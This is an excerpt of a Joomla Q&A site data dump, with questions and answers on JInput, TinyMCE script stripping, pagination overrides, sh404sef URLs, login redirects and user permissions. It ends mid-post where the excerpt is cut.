  <row Id="16194" PostTypeId="2" ParentId="16186" CreationDate="2016-04-17T21:01:06.180" Score="6" Body="&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; there is no equivalent, because it's not needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JInput&lt;/code&gt; data is by default a reference to &lt;code&gt;$_REQUEST&lt;/code&gt;, so it dosen't have own unset method, because it is not needed.  Although it would be nice to have &lt;code&gt;$input-&amp;gt;unset('variable1');&lt;/code&gt; for completness of API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should use plain PHP, e.g &lt;code&gt;unset($_REQUEST['variable1']);&lt;/code&gt;. If you have your variable in &lt;code&gt;$_GET&lt;/code&gt;, you can unset by that, if you prefer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although you can always use &lt;code&gt;$input-&amp;gt;set('variable1', null);&lt;/code&gt;, but this way PHP carbage collector won't free memory, since variable is still defined.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2016-04-17T21:20:13.620" LastActivityDate="2016-04-17T21:20:13.620" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16195" PostTypeId="2" ParentId="16191" CreationDate="2016-04-17T23:49:46.827" Score="2" Body="&lt;p&gt;As an alternative to Lodder's answer, another option is to use a third party extension such as &lt;a href=&quot;http://extensions.joomla.org/extension/chrono-connectivity&quot; rel=&quot;nofollow&quot;&gt;ChronoConnectivity&lt;/a&gt; (free) or &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/data-reports/alter-reports&quot; rel=&quot;nofollow&quot;&gt;Alter Reports&lt;/a&gt; (paid) or similar which help you formulate your query and display the results in the front-end.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-04-17T23:49:46.827" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16196" PostTypeId="1" CreationDate="2016-04-18T02:11:10.530" Score="5" ViewCount="1383" Body="&lt;p&gt;I have a form which has been created in a CRM and then the code copied in to the website and updated to make it look and read better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I copy the code in, the &quot;script&quot; at the bottom of the form that does the form validation to ensure the required fields are completed is NOT saving?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using TinyMCE Editor in Joomla 3.5 and have updated the settings to allow script by removing it from the 'Prohibited Elements' section within the Plugin itself but its still not working. I have also updated the &quot;Text Filter&quot; to No Filtering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The web page I am testing it on at the moment is here: &lt;a href=&quot;http://www.lsl.global/index.php/application-form&quot; rel=&quot;noreferrer&quot;&gt;http://www.lsl.global/index.php/application-form&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="8038" LastActivityDate="2016-06-24T10:51:41.010" Title="Editor stripping Script" Tags="|form|joomla-3.5|tinymce|validation|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16199" PostTypeId="2" ParentId="16196" CreationDate="2016-04-18T10:14:16.967" Score="3" Body="&lt;p&gt;I have had similar issues in the past where scripts seem to be stripped regardless of the text filter settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Temporarily Disable Editor&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a temporary work around, you can temporarily set the Default Editor to &quot;None&quot; each time you edit the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works but is not convenient especially when you or another administrator forgets to disable the editor and you lose the code when saving an update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sourcerer&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option which works well regardless of the editor or text filter settings is the free or paid version of &lt;a href=&quot;http://extensions.joomla.org/extension/sourcerer&quot; rel=&quot;nofollow&quot;&gt;Regular Labs Sourcerer&lt;/a&gt; or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sourcerer ensures code embedded within &lt;code&gt;{source}{/source}&lt;/code&gt; tags in your content is preserved.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-06-24T10:51:41.010" LastActivityDate="2016-06-24T10:51:41.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16200" PostTypeId="2" ParentId="15973" CreationDate="2016-04-18T11:24:26.727" Score="4" Body="&lt;p&gt;There is no alternative to JError and JException classes, Joomla development decided to remove those classes and use php exception instead. Take a look at the &lt;a href=&quot;https://api.joomla.org/cms-3/deprecated.html#legacy/error/error.php&quot; rel=&quot;nofollow&quot;&gt;deprecated JError table&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So on my opinion you have two possible ways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Rewrite your plugin with php exception handler&lt;/li&gt;&#xA;&lt;li&gt;Rethink your plugin using &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JLog.html&quot; rel=&quot;nofollow&quot;&gt;JLog class&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here are some interesting discussions and resources on this topic:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://groups.google.com/forum/#!topic/joomla-dev-general/Z8e-GPOuXrI&quot; rel=&quot;nofollow&quot;&gt;What to use instead of JError?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://groups.google.com/forum/#!topic/joomla-dev-framework/kwqjy1Goj0w/discussion&quot; rel=&quot;nofollow&quot;&gt;Exception vs. JException&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Exceptions_and_Logging_in_Joomla_1.7_and_Joomla_Platform_11.1&quot; rel=&quot;nofollow&quot;&gt;Exceptions and Logging&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope this will help you.&lt;/p&gt;&#xA;" OwnerUserId="3585" LastActivityDate="2016-04-18T11:24:26.727" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16201" PostTypeId="2" ParentId="4673" CreationDate="2016-04-18T16:00:02.240" Score="0" Body="&lt;p&gt;I tried everything, from setting the ownership of the directories (&lt;code&gt;logs/&lt;/code&gt;, &lt;code&gt;temp/&lt;/code&gt;) to the apache user, also I set the permission even upto &lt;code&gt;777&lt;/code&gt;, but still was getting this error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So It looks like, the file named &lt;code&gt;error.php&lt;/code&gt; was still set to &lt;code&gt;user&lt;/code&gt;:&lt;code&gt;group&lt;/code&gt; as &lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when I changed the ownership of this file things started working fine.&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2016-04-18T16:00:02.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16202" PostTypeId="1" CreationDate="2016-04-18T17:33:36.900" Score="0" ViewCount="70" Body="&lt;p&gt;I have joomla module, in the module I have this jquery script, I want to show this javascript from js file in the  of joomla but there is problem php variable how can I make this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;          jQuery(document).ready(function($){&#xA;&#xA;var container = $('.carmrg &amp;lt;?php echo $uniqid; ?&amp;gt;');&#xA;var first     = container.find('.img-log img').eq(0);&#xA;var ori     = container.find('.img-log a').eq(0);&#xA;&#xA;container.find('.cars-img img').attr('src', first.attr('src'));&#xA;container.find('.cars-img a').attr('href', ori.attr('href'));&#xA;first.addClass('active');&#xA;ori.addClass('active');&#xA;&#xA;$('.img-log img').hover(function(){&#xA;&#xA;    var $self  = $(this);&#xA;    var parent = $self.parents('.carmrg');&#xA;&#xA;    parent.find('.cars-img img').attr('src', $self.attr('src'));&#xA;    parent.find('.img-log img').removeClass('active');&#xA;    $self.addClass('active');&#xA;});&#xA;&#xA;$('.img-log a').hover(function(){&#xA;&#xA;    var $self  = $(this);&#xA;    var parent = $self.parents('.carmrg');&#xA;&#xA;    parent.find('.cars-img a').attr('href', $self.attr('href'));&#xA;    parent.find('.img-log a').removeClass('active');&#xA;    $self.addClass('active');&#xA;});&#xA;&#xA;    lightbox.option({&#xA;  'showImageNumberLabel': false,&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}); &lt;/p&gt;&#xA;" OwnerUserId="8198" LastEditorUserId="8198" LastEditDate="2016-04-18T17:38:00.390" LastActivityDate="2016-04-18T19:18:41.210" Title="How to add module's JavaScript in the header when in Javascript code used php variable" Tags="|module|jquery|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16203" PostTypeId="2" ParentId="16202" CreationDate="2016-04-18T19:18:41.210" Score="3" Body="&lt;p&gt;Assuming you are asking how to combine PHP and JavaScript, one way would be to add the JavaScript inline via your module's PHP using this method, which will add it to the head of the page when the module is loaded.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$document = JFactory::getDocument();&#xA;$document-&amp;gt;addScriptDeclaration('&#xA;    jQuery(document).ready(function($){&#xA;        CONTENT HERE&#xA;    });&#xA;');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need the js in a separate file, or the intention is to have multiple versions of this module on a page and this would create conflicts, then you could always search the DOM for any elements with a relevent class and create an array of their related IDs, which you can then loop through - not sure you need PHP for what you are trying to do.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2016-04-18T19:18:41.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16205" PostTypeId="1" CreationDate="2016-04-18T22:22:42.057" Score="4" ViewCount="1869" Body="&lt;p&gt;Joomla 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was trying to modify Joomla's pagination output. Following this &lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides#Pagination_Links_Overrides&quot; rel=&quot;noreferrer&quot;&gt;documentation&lt;/a&gt;, I create &lt;code&gt;mytemplate/html/pagination.php&lt;/code&gt; file and start modifying it. According to the document, I can write 4 functions in the new pagination file, I actually just want to rewrite &lt;code&gt;_list_render()&lt;/code&gt; and &lt;code&gt;_item_active()&lt;/code&gt;. However, in &lt;code&gt;libraries/cms/pagination/pagination.php&lt;/code&gt; beginning from line 327&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $chromePath = JPATH_THEMES . '/' . $this-&amp;gt;app-&amp;gt;getTemplate() . '/html/pagination.php';&#xA;&#xA;    if (file_exists($chromePath))&#xA;    {&#xA;        include_once $chromePath;&#xA;&#xA;        if (function_exists('pagination_item_active') &amp;amp;&amp;amp; function_exists('pagination_item_inactive'))&#xA;        {&#xA;            $itemOverride = true;&#xA;        }&#xA;&#xA;        if (function_exists('pagination_list_render'))&#xA;        {&#xA;            $listOverride = true;&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means I can only get CMS to use my function if only both &lt;code&gt;pagination_item_active()&lt;/code&gt; and &lt;code&gt;pagination_item_inactive()&lt;/code&gt; exist. But I don't have my own &lt;code&gt;pagination_item_active()&lt;/code&gt;, so I copy the content of &lt;code&gt;_item_active()&lt;/code&gt; in the CMS's pagination.php to my override file so it looks like this in my pagination.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;......&#xA;function pagination_item_active(JPaginationObject $item){&#xA;  $title = '';&#xA;  $class = '';&#xA;&#xA;  if (!is_numeric($item-&amp;gt;text))&#xA;  {&#xA;    JHtml::_('bootstrap.tooltip');&#xA;    $title = ' title=&quot;' . $item-&amp;gt;text . '&quot;';&#xA;    $class = 'hasTooltip ';&#xA;  }&#xA;&#xA;  if ($this-&amp;gt;app-&amp;gt;isAdmin())&#xA;  {&#xA;    return '&amp;lt;a' . $title . ' href=&quot;#&quot; onclick=&quot;document.adminForm.' . $this-&amp;gt;prefix&#xA;    . 'limitstart.value=' . ($item-&amp;gt;base &amp;gt; 0 ? $item-&amp;gt;base : '0') . '; Joomla.submitform();return false;&quot;&amp;gt;' . $item-&amp;gt;text . '&amp;lt;/a&amp;gt;';&#xA;  }&#xA;  else&#xA;  {&#xA;    return '&amp;lt;a' . $title . ' href=&quot;' . $item-&amp;gt;link . '&quot; class=&quot;' . $class . 'pagenav&quot;&amp;gt;' . $item-&amp;gt;text . '&amp;lt;/a&amp;gt;';&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, when I run the PHP, I get this error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Using $this when not in object context in&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;/home/w/public_html/templates/rt_photon/html/pagination.php on line 56&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What I don't understand is, my pagination.php is supposed to be included into the CMS's one, where there is an &quot;object context&quot;, why then is it giving this error message? And how do I overcome this dillema?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="5680" LastEditDate="2016-04-18T22:44:24.413" LastActivityDate="2016-04-19T10:10:36.497" Title="Custom Pagination: $this in &quot;pagination_item_active&quot; function is not in object context?" Tags="|joomla-3.x|php|pagination|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16206" PostTypeId="1" CreationDate="2016-04-18T23:12:17.797" Score="0" ViewCount="619" Body="&lt;p&gt;This is a very old problem, I asked it before but never got a satisfying answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, on a &quot;k2 category&quot; page, when you click one of the items, the &quot;k2 item&quot; page will keep using the current template that &quot;k2 category&quot; page is using. However, in most occasions, I'd want it to use its own template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some workarounds, like setting hidden menu items for each k2 items(huge workload), or hacking some K2 file to change the way it builds item link(too rude). So my question was and still is, has there been any elegant way to do this?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2023-12-10T03:06:15.700" Title="How to get k2 item and category to use different templates?" Tags="|joomla-3.x|k2|cms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16207" PostTypeId="2" ParentId="16206" CreationDate="2016-04-19T02:25:39.717" Score="0" Body="&lt;p&gt;The option to select different template was direct relation with menu item. &#xA;Than, if you dont want chage codes, i really belive you need hide menu itens and set different template there. &lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2016-04-19T02:25:39.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16208" PostTypeId="2" ParentId="16205" CreationDate="2016-04-19T06:42:10.320" Score="1" Body="&lt;p&gt;The &lt;code&gt;libraries/cms/pagination/pagination.php&lt;/code&gt; defines the JPagination class and I don't know exactly how overrides are merged in this class, anyway you could grab a pagination example from &lt;strong&gt;protostar default template&lt;/strong&gt; that, as you see, doesn't use any reference to the main JPagination object and uses only the &lt;code&gt;$item&lt;/code&gt; in parameters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function pagination_item_active(&amp;amp;$item){&#xA;    $class = '';&#xA;&#xA;    // Check for &quot;Start&quot; item&#xA;    if ($item-&amp;gt;text == JText::_('JLIB_HTML_START')){&#xA;        $display = '&amp;lt;span class=&quot;icon-first&quot;&amp;gt;&amp;lt;/span&amp;gt;';&#xA;    }&#xA;&#xA;    // Check for &quot;Prev&quot; item&#xA;    if ($item-&amp;gt;text == JText::_('JPREV')){&#xA;        $display = '&amp;lt;span class=&quot;icon-previous&quot;&amp;gt;&amp;lt;/span&amp;gt;';&#xA;    }&#xA;&#xA;    // Check for &quot;Next&quot; item&#xA;    if ($item-&amp;gt;text == JText::_('JNEXT')){&#xA;        $display = '&amp;lt;span class=&quot;icon-next&quot;&amp;gt;&amp;lt;/span&amp;gt;';&#xA;    }&#xA;&#xA;    // Check for &quot;End&quot; item&#xA;    if ($item-&amp;gt;text == JText::_('JLIB_HTML_END')){&#xA;        $display = '&amp;lt;span class=&quot;icon-last&quot;&amp;gt;&amp;lt;/span&amp;gt;';&#xA;    }&#xA;&#xA;    // If the display object isn't set already, just render the item with its text&#xA;    if (!isset($display)){&#xA;        $display = $item-&amp;gt;text;&#xA;        $class   = ' class=&quot;hidden-phone&quot;';&#xA;    }&#xA;&#xA;    return '&amp;lt;li' . $class . '&amp;gt;&amp;lt;a title=&quot;' . $item-&amp;gt;text . '&quot; href=&quot;' . $item-&amp;gt;link . '&quot; class=&quot;pagenav&quot;&amp;gt;' . $display . '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3585" LastActivityDate="2016-04-19T06:42:10.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16209" PostTypeId="1" CreationDate="2016-04-19T06:43:20.437" Score="0" ViewCount="428" Body="&lt;p&gt;How can I get URL format given below for a custom component in Joomla 3 ( migrating / converting site from Joomla 1.5. Just for seo purpose, I want to keep url same for now ) &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;sitename.com/component/option,com_my_comp/Itemid,123/task,mytask&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have seen non-sef format like &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;sitename.com/index.php?option=com_my_comp&amp;amp;Itemid=123&amp;amp;task=mytask&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sef url format like &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;sitename.com/my-comp-page&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For SEF URLs, I am using SH404SEF extension. Thanks. &lt;/p&gt;&#xA;" OwnerUserId="7401" LastActivityDate="2016-04-21T16:45:16.420" Title="Joomla URL format for custom component" Tags="|joomla-3.x|sh404sef|non-sef-url|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16210" PostTypeId="2" ParentId="16119" CreationDate="2016-04-19T07:20:42.650" Score="6" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;First of all, com_users login is written to use &lt;code&gt;POST&lt;/code&gt; method, so adding &lt;code&gt;?return=&lt;/code&gt; don't give you anything, it won't work.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If we don't specify return in post data, model will use default pointing into profile.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Return must me an internal. Don't redirect to an external URL or it will be overwritten by default, profile redirect.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In view part, joomla check if you are in menu pointed into login, if you are, you can set a &quot;Login redirect&quot; param to point redirect. Param descriptions: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Login Redirect, If an URL is entered here, users will be redirected to it after login. The URL must not be an external one.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After all this, return is set into form value of return.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So from my perspective of code, creating template override is good, but remember to use internal links. That can pass &lt;code&gt;JUri::isInternal&lt;/code&gt; validation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: good use of return:&#xA;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;return&quot; value=&quot;&amp;lt;?php echo base64_encode('index.php?option=com_mycomponent&amp;amp;view=myview'); ?&amp;gt;&quot;/&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 2:&#xA;Rember never use JRoute in return it's not a valid internal URL... only index.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;        /**&#xA;         * Return Override  -   START&#xA;         */&#xA;        // grab old form Return Value&#xA;        $form_return = $this-&amp;gt;form-&amp;gt;getValue('return');&#xA;        $new_return = 'index.php?option=com_mycomponent&amp;amp;view=myview';&#xA;        ?&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;return&quot; value=&quot;&amp;lt;?php echo base64_encode($this-&amp;gt;params-&amp;gt;get('login_redirect_url', $new_return)); ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;?php&#xA;        /**&#xA;         * Return Override  -   End&#xA;         */&#xA;        ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So try this at home I dare you! ; )&lt;/p&gt;&#xA;" OwnerUserId="5203" LastEditorUserId="5203" LastEditDate="2016-04-19T10:25:14.087" LastActivityDate="2016-04-19T10:25:14.087" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="16213" PostTypeId="2" ParentId="16205" CreationDate="2016-04-19T10:10:36.497" Score="1" Body="&lt;p&gt;I'm no PHP expert but I'll &lt;strong&gt;&lt;em&gt;try&lt;/em&gt;&lt;/strong&gt; to give a small technical reason as to what I believe the issue is in your case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$this-&amp;gt;app-&amp;gt;isAdmin()&lt;/code&gt; is causing the error because the only object that is being passed through the function is &lt;code&gt;JPagination&lt;/code&gt;, which is the &lt;code&gt;$item&lt;/code&gt; variable, not &lt;code&gt;$this&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore to get the &lt;code&gt;JApplication&lt;/code&gt; object, you'll need to manually define it like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then perform your check, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($app-&amp;gt;isAdmin())&#xA;{&#xA;    // Your code&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-04-19T10:10:36.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16214" PostTypeId="2" ParentId="16209" CreationDate="2016-04-19T10:51:38.897" Score="2" Body="&lt;p&gt;You can use sef_ext plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In sh404sef find sef_ext folder and create com_my_comp.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;defined('_JEXEC') or die('Direct Access to this location is not allowed.');&#xA;&#xA;    // ------------------  standard plugin initialize function - don't change ---------------------------&#xA;    $sefConfig = &amp;amp;Sh404sefFactory::getConfig();&#xA;    $shLangName = '';&#xA;    $shLangIso = '';&#xA;    $title = array();&#xA;    $shItemidString = '';&#xA;    $dosef = shInitializePlugin($lang, $shLangName, $shLangIso, $option);&#xA;    if ($dosef == false)&#xA;    {&#xA;        return;&#xA;    }&#xA;    // ------------------  standard plugin initialize function - don't change ---------------------------&#xA;&#xA;    $title[] = 'my-comp-page';&#xA;&#xA;&#xA;    shRemoveFromGETVarsList('view');&#xA;    shRemoveFromGETVarsList('id');&#xA;    shRemoveFromGETVarsList('option');&#xA;    shRemoveFromGETVarsList('lang');&#xA;    shRemoveFromGETVarsList('task');&#xA;&#xA;&#xA;&#xA;// ------------------  standard plugin finalize function - don't change ---------------------------&#xA;if ($dosef)&#xA;{&#xA;    $string = shFinalizePlugin($string, $title, $shAppendString, $shItemidString, (isset($limit) ? $limit : null),&#xA;        (isset($limitstart) ? $limitstart : null), (isset($shLangName) ? $shLangName : null), (isset($showall) ? $showall : null),&#xA;        $suppressPagination = true);&#xA;}&#xA;// ------------------  standard plugin finalize function - don't change ---------------------------&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With shRemoveFromGETVarsList you can remove any parameter added to url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not a good idea use comma character in url, to get something like your first url:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$Itemid = $jinput-&amp;gt;getInt('Itemid');&#xA;&#xA;$title[] = 'option_'.$option;&#xA;$title[] = 'Itemid_'.$Itemid;&#xA;$title[] = 'task_'.$task;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to use comma, you can enable it, in sh404sef configuration panel, in &quot;Strip characters&quot; option.&lt;/p&gt;&#xA;" OwnerUserId="8234" LastEditorUserId="8234" LastEditDate="2016-04-19T16:36:37.260" LastActivityDate="2016-04-19T16:36:37.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16215" PostTypeId="2" ParentId="16000" CreationDate="2016-04-19T12:15:39.637" Score="1" Body="&lt;p&gt;My try, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i see that you have some experience with joomla so i will just put my few cents into it.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;you need to create system plugin&lt;/li&gt;&#xA;&lt;li&gt;you need to create a method after init or similar.&lt;/li&gt;&#xA;&lt;li&gt;now you need to initiate &lt;code&gt;JLoader&lt;/code&gt; if i'm not wrong and add path to libraries a.k.a. &lt;code&gt;/plugins/system/myplugin/libraries/newfilter.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;enable plugin and profit ; )&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;PS. you can create by this way an overrides too joomla core libraries and platform. Such a Curl SSL problem with certs ; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;regards&lt;/p&gt;&#xA;" OwnerUserId="5203" LastActivityDate="2016-04-19T12:15:39.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16217" PostTypeId="1" AcceptedAnswerId="16222" CreationDate="2016-04-19T14:20:45.243" Score="3" ViewCount="196" Body="&lt;p&gt;I have looked all around for the use of the media field, and I see that is to load local files only. I need to use it to load not only local but also remote images.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I notice that if I put a URL to a remote file in the field image URL (see image please) it will work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BDlqP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BDlqP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it be done this way or is there a better/proper way of doing it?&#xA;Thank you&lt;/p&gt;&#xA;" OwnerUserId="8272" LastEditorUserId="126" LastEditDate="2016-04-27T11:45:18.087" LastActivityDate="2016-04-27T11:45:18.087" Title="Media field use local or remote file" Tags="|joomla-3.x|plugin|form-fields-types|editor|media-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16218" PostTypeId="1" CreationDate="2016-04-19T18:14:38.620" Score="2" ViewCount="602" Body="&lt;p&gt;I have a joomla site installed in a subdomain and have moved it to another folder within the same subdomain. However, I am getting random 403 errors (not able to reproduce yet) and I seem to see it if I go AFK for a long period of time then go back to visit the site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: This site requires you to be logged in to view any of the pages (Registered access).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what might be causing this? Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: After sifting through a few apache logs, it looks like the only 403 errors in here are as follows: &quot;GET / HTTP/1.1&quot; 403 6616 &quot;-&quot; &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36&quot;&lt;/p&gt;&#xA;" OwnerUserId="8273" LastEditorUserId="126" LastEditDate="2016-04-26T07:55:28.290" LastActivityDate="2016-04-26T07:55:28.290" Title="Random 403 Errors" Tags="|.htaccess-configuration|server|apache|error-pages|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16219" PostTypeId="1" AcceptedAnswerId="16220" CreationDate="2016-04-19T19:55:43.257" Score="2" ViewCount="542" Body="&lt;p&gt;I want to give certain users permission to access the administration panel, but no permission to modify things aside from that which I've specifically allowed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a group called &quot;John&quot; in which I have added a user called &quot;John&quot;. This group is a sub-group of the Registered Users group. I specifically have set permissions on one article for this group to edit, and I do not want that group to edit anything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have allowed this group to access the administrator panel by setting the following options through the Permissions tab of Global Configuration:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Site login: allowed&lt;/li&gt;&#xA;&lt;li&gt;Administrator login: allowed&lt;/li&gt;&#xA;&lt;li&gt;Access Administration Interface: allowed&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But when I log 